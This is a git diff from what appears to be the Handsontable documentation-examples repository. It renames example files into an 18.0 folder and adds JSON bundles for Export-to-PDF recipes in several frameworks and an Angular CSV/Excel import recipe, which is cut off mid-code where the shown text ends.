runner/apps/authoring/public/docs-examples/recipes__editing-validation__row-validation-error-summary__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__editing-validation__row-validation-error-summary__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__filtering-and-search__external-search-box__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-and-search__external-search-box__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__filtering-and-search__external-search-box__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-and-search__external-search-box__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__filtering-and-search__external-search-box__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-and-search__external-search-box__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__filtering-and-search__external-search-box__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-and-search__external-search-box__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__filtering-and-search__external-search-box__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-and-search__external-search-box__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__filtering-and-search__external-search-box__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-and-search__external-search-box__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__filtering-and-search__external-search-box__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-and-search__external-search-box__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__filtering-and-search__external-search-box__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-and-search__external-search-box__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__filtering-and-search__highlight-search-matches__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-and-search__highlight-search-matches__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__filtering-and-search__highlight-search-matches__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-and-search__highlight-search-matches__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__filtering-and-search__highlight-search-matches__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-and-search__highlight-search-matches__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__filtering-and-search__highlight-search-matches__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-and-search__highlight-search-matches__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__filtering-and-search__highlight-search-matches__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-and-search__highlight-search-matches__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__filtering-and-search__highlight-search-matches__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-and-search__highlight-search-matches__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__filtering-and-search__highlight-search-matches__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-and-search__highlight-search-matches__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__filtering-and-search__highlight-search-matches__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-and-search__highlight-search-matches__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__filtering-search__multi-column-filter-panel__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-search__multi-column-filter-panel__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__filtering-search__multi-column-filter-panel__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-search__multi-column-filter-panel__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__filtering-search__multi-column-filter-panel__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-search__multi-column-filter-panel__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__filtering-search__multi-column-filter-panel__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-search__multi-column-filter-panel__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__filtering-search__multi-column-filter-panel__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-search__multi-column-filter-panel__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__filtering-search__multi-column-filter-panel__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-search__multi-column-filter-panel__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__filtering-search__multi-column-filter-panel__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-search__multi-column-filter-panel__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__filtering-search__multi-column-filter-panel__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__filtering-search__multi-column-filter-panel__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__export-to-pdf__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__export-to-pdf__angular__example1.ts.json new file mode 100644 index 00000000..b598b4dd --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__export-to-pdf__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Recipes ▸ Import Export ▸ Export to PDF · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"jspdf\": \"4.2.1\",\n \"jspdf-autotable\": \"5.0.8\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\nimport { jsPDF } from 'jspdf';\nimport { autoTable } from 'jspdf-autotable';\n\n/* start:skip-in-preview */\nconst ROWS = 85;\nconst data = Array.from({ length: ROWS }, (_, row) => [\n `SKU-${1000 + row}`,\n `Product ${row + 1}`,\n row % 12 + 1,\n (9.99 + row * 0.25).toFixed(2),\n ((row % 12 + 1) * (9.99 + row * 0.25)).toFixed(2),\n]);\n/* end:skip-in-preview */\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'example1-export-to-pdf',\n template: `\n
    \n
    \n \n
    \n
    \n \n `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly data = data;\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['SKU', 'Product', 'Qty', 'Unit price', 'Line total'],\n columnSorting: true,\n rowHeaders: true,\n height: 320,\n width: '100%',\n };\n\n exportToPdf(): void {\n const hot = this.hotTable?.hotInstance;\n\n if (!hot) {\n return;\n }\n\n const body: any = hot.getData();\n const colCount = hot.countCols();\n const head = [\n Array.from({ length: colCount }, (_, col) => String(hot.getColHeader(col))),\n ];\n\n const doc = new jsPDF({ orientation: 'portrait', unit: 'mm', format: 'a4' });\n\n autoTable(doc, {\n head,\n body,\n styles: { fontSize: 8, cellPadding: 1.5, overflow: 'linebreak' },\n headStyles: {\n fillColor: [26, 66, 232],\n textColor: 255,\n fontStyle: 'bold',\n },\n alternateRowStyles: { fillColor: [245, 247, 250] },\n margin: { top: 14, left: 12, right: 12, bottom: 14 },\n showHead: 'everyPage',\n });\n\n doc.save('export.pdf');\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"recipes/import-export/export-to-pdf/angular/example1.ts","breadcrumb":["Recipes","Import Export","Export to PDF"],"guide":"recipes/import-export/export-to-pdf/export-to-pdf.md","guideTitle":"Export to PDF","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/import-export/export-to-pdf","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__export-to-pdf__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__export-to-pdf__javascript__example1.js.json new file mode 100644 index 00000000..e069c4ad --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__export-to-pdf__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Recipes ▸ Import Export ▸ Export to PDF · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"jspdf\": \"4.2.1\",\n \"jspdf-autotable\": \"5.0.8\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from \"handsontable/base\";\nimport { registerAllModules } from \"handsontable/registry\";\nimport { jsPDF } from \"jspdf\";\nimport { autoTable } from \"jspdf-autotable\";\nregisterAllModules();\n/* start:skip-in-preview */\n// Enough rows to span multiple A4 pages when exported (jspdf-autotable paginates automatically).\nconst ROWS = 85;\nconst data = Array.from({ length: ROWS }, (_, row) => [\n `SKU-${1000 + row}`,\n `Product ${row + 1}`,\n row % 12 + 1,\n (9.99 + row * 0.25).toFixed(2),\n ((row % 12 + 1) * (9.99 + row * 0.25)).toFixed(2),\n]);\n/* end:skip-in-preview */\nconst container = document.querySelector(\"#example1\");\nconst hot = new Handsontable(container, {\n data,\n colHeaders: [\"SKU\", \"Product\", \"Qty\", \"Unit price\", \"Line total\"],\n columnSorting: true,\n rowHeaders: true,\n height: 320,\n width: \"100%\",\n licenseKey: \"non-commercial-and-evaluation\",\n});\nfunction exportGridToPdf() {\n const body = hot.getData();\n const colCount = hot.countCols();\n const head = [\n Array.from({ length: colCount }, (_, col) => String(hot.getColHeader(col))),\n ];\n const doc = new jsPDF({ orientation: \"portrait\", unit: \"mm\", format: \"a4\" });\n autoTable(doc, {\n head,\n body,\n styles: { fontSize: 8, cellPadding: 1.5, overflow: \"linebreak\" },\n headStyles: {\n fillColor: [26, 66, 232],\n textColor: 255,\n fontStyle: \"bold\",\n },\n alternateRowStyles: { fillColor: [245, 247, 250] },\n margin: { top: 14, left: 12, right: 12, bottom: 14 },\n showHead: \"everyPage\",\n });\n doc.save(\"export.pdf\");\n}\ndocument.querySelector(\"#exportPdfBtn\").addEventListener(\"click\", exportGridToPdf);","/src/main.js":"import \"../index.js\";"},"docsPath":"recipes/import-export/export-to-pdf/javascript/example1.js","breadcrumb":["Recipes","Import Export","Export to PDF"],"guide":"recipes/import-export/export-to-pdf/export-to-pdf.md","guideTitle":"Export to PDF","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/import-export/export-to-pdf","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__export-to-pdf__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__export-to-pdf__javascript__example1.ts.json new file mode 100644 index 00000000..93f6205c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__export-to-pdf__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Recipes ▸ Import Export ▸ Export to PDF · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"jspdf\": \"4.2.1\",\n \"jspdf-autotable\": \"5.0.8\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from \"handsontable/base\";\nimport { registerAllModules } from \"handsontable/registry\";\nimport { jsPDF } from \"jspdf\";\nimport { autoTable } from \"jspdf-autotable\";\n\nregisterAllModules();\n\n/* start:skip-in-preview */\n// Enough rows to span multiple A4 pages when exported (jspdf-autotable paginates automatically).\nconst ROWS = 85;\nconst data = Array.from({ length: ROWS }, (_, row) => [\n `SKU-${1000 + row}`,\n `Product ${row + 1}`,\n row % 12 + 1,\n (9.99 + row * 0.25).toFixed(2),\n ((row % 12 + 1) * (9.99 + row * 0.25)).toFixed(2),\n]);\n/* end:skip-in-preview */\n\nconst container = document.querySelector(\"#example1\")!;\n\nconst hot = new Handsontable(container, {\n data,\n colHeaders: [\"SKU\", \"Product\", \"Qty\", \"Unit price\", \"Line total\"],\n columnSorting: true,\n rowHeaders: true,\n height: 320,\n width: \"100%\",\n licenseKey: \"non-commercial-and-evaluation\",\n});\n\nfunction exportGridToPdf() {\n const body = hot.getData();\n const colCount = hot.countCols();\n const head = [\n Array.from({ length: colCount }, (_, col) => String(hot.getColHeader(col))),\n ];\n\n const doc = new jsPDF({ orientation: \"portrait\", unit: \"mm\", format: \"a4\" });\n\n autoTable(doc, {\n head,\n body,\n styles: { fontSize: 8, cellPadding: 1.5, overflow: \"linebreak\" },\n headStyles: {\n fillColor: [26, 66, 232],\n textColor: 255,\n fontStyle: \"bold\",\n },\n alternateRowStyles: { fillColor: [245, 247, 250] },\n margin: { top: 14, left: 12, right: 12, bottom: 14 },\n showHead: \"everyPage\",\n });\n\n doc.save(\"export.pdf\");\n}\n\ndocument.querySelector(\"#exportPdfBtn\")!.addEventListener(\"click\", exportGridToPdf);","/src/main.ts":"import \"../index.ts\";"},"docsPath":"recipes/import-export/export-to-pdf/javascript/example1.ts","breadcrumb":["Recipes","Import Export","Export to PDF"],"guide":"recipes/import-export/export-to-pdf/export-to-pdf.md","guideTitle":"Export to PDF","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/import-export/export-to-pdf","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__export-to-pdf__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__export-to-pdf__react__example1.tsx.json new file mode 100644 index 00000000..f5934f44 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__export-to-pdf__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Recipes ▸ Import Export ▸ Export to PDF · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"jspdf\": \"4.2.1\",\n \"jspdf-autotable\": \"5.0.8\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { jsPDF } from 'jspdf';\nimport { autoTable } from 'jspdf-autotable';\n\nregisterAllModules();\n\n/* start:skip-in-preview */\n// Enough rows to span multiple A4 pages when exported (jspdf-autotable paginates automatically).\nconst ROWS = 85;\nconst data: (string | number)[][] = Array.from({ length: ROWS }, (_, row) => [\n `SKU-${1000 + row}`,\n `Product ${row + 1}`,\n row % 12 + 1,\n (9.99 + row * 0.25).toFixed(2),\n ((row % 12 + 1) * (9.99 + row * 0.25)).toFixed(2),\n]);\n/* end:skip-in-preview */\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const exportGridToPdf = (): void => {\n const hot = hotRef.current?.hotInstance;\n\n if (!hot) {\n return;\n }\n\n const body = hot.getData() as (string | number)[][];\n const colCount = hot.countCols();\n const head: string[][] = [\n Array.from({ length: colCount }, (_, col) => String(hot.getColHeader(col))),\n ];\n\n const doc = new jsPDF({ orientation: 'portrait', unit: 'mm', format: 'a4' });\n\n autoTable(doc, {\n head,\n body,\n styles: { fontSize: 8, cellPadding: 1.5, overflow: 'linebreak' },\n headStyles: {\n fillColor: [26, 66, 232],\n textColor: 255,\n fontStyle: 'bold',\n },\n alternateRowStyles: { fillColor: [245, 247, 250] },\n margin: { top: 14, left: 12, right: 12, bottom: 14 },\n showHead: 'everyPage',\n });\n\n doc.save('export.pdf');\n };\n\n return (\n <>\n
    \n
    \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"recipes/import-export/export-to-pdf/react/example1.tsx","breadcrumb":["Recipes","Import Export","Export to PDF"],"guide":"recipes/import-export/export-to-pdf/export-to-pdf.md","guideTitle":"Export to PDF","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/import-export/export-to-pdf","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__import-csv-excel__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__import-csv-excel__angular__example1.ts.json new file mode 100644 index 00000000..bdcbcb51 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__import-export__import-csv-excel__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Recipes ▸ Import Export ▸ Import from CSV or Excel · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":8,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"papaparse\": \"5.5.4\",\n \"xlsx\": \"0.18.5\"\n },\n \"devDependencies\": {\n \"@types/papaparse\": \"5.5.2\"\n }\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [\n \"src/styles.css\"\n ],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\nimport Papa from 'papaparse';\nimport * as XLSX from 'xlsx';\n\ninterface ParsedPayload {\n headers: string[];\n rows: Record[];\n}\n\nfunction extensionOf(name: string): string {\n const i = name.lastIndexOf('.');\n return i >= 0 ? name.slice(i + 1).toLowerCase() : '';\n}\n\nfunction normalizeCellValue(value: unknown): unknown {\n if (value === null || value === undefined) {\n return null;\n }\n if (typeof value === 'number' || typeof value === 'boolean') {\n return value;\n }\n const text = String(value).trim();\n return text === '' ? null : text;\n}\n\nfunction processPapaResults(results: Papa.ParseResult>): ParsedPayload {\n if (results.errors.length > 0) {\n throw new Error(results.errors[0].message || 'CSV parse error.');\n }\n const fields = (results.meta.fields ?? []).filter((f) => f !== undefined && f !== '');\n if (fields.length === 0) {\n throw new Error('No header row found in the CSV.');\n }\n const rows = results.data.map((row) => {\n const out: Record = {};\n for (const key of fields) {\n out[key] = normalizeCellValue(row[key]);\n }\n return out;\n });\n if (rows.length === 0) {\n throw new Error('No data rows after the header.');\n }\n return { headers: fields, rows };\n}\n\nfunction parseCsvText(text: string): ParsedPayload {\n const trimmed = text.trim();\n if (!trimmed) {\n throw new Error('The input is empty.');\n }\n const parsed = Papa.parse>(trimmed, {\n header: true,\n dynamicTyping: true,\n skipEmptyLines: 'greedy',\n transformHeader: (h) => h.trim(),\n });\n return processPapaResults(parsed);\n}\n\nasync function parseCsvFile(file: File): Promise {\n return new Promise((resolve, reject) => {\n Papa.parse>(file, {\n header: true,\n dynamicTyping: true,\n skipEmptyLines: 'greedy',\n transformHeader: (h: string) => h.trim(),\n complete: (results: Papa.ParseResult>) => {\n try {\n resolve(processPapaResults(results));\n } catch (e) {\n reject(e instanceof Error ? e : new Error(String(e)));\n }\n },\n error: (err: Error) => reject(err instanceof Error ? err : new Error(String(err))),\n });\n });\n}\n\nasync function parseXlsxFile(file: File): Promise {\n const buf = await file.arrayBuffer();\n let workbook: XLSX.WorkBook;\n try {\n workbook = XLSX.read(buf, { type: 'array' });\n } catch {\n throw new Error('Could not read the Excel workbook. The file may be corrupted.');\n }\n const sheetName = 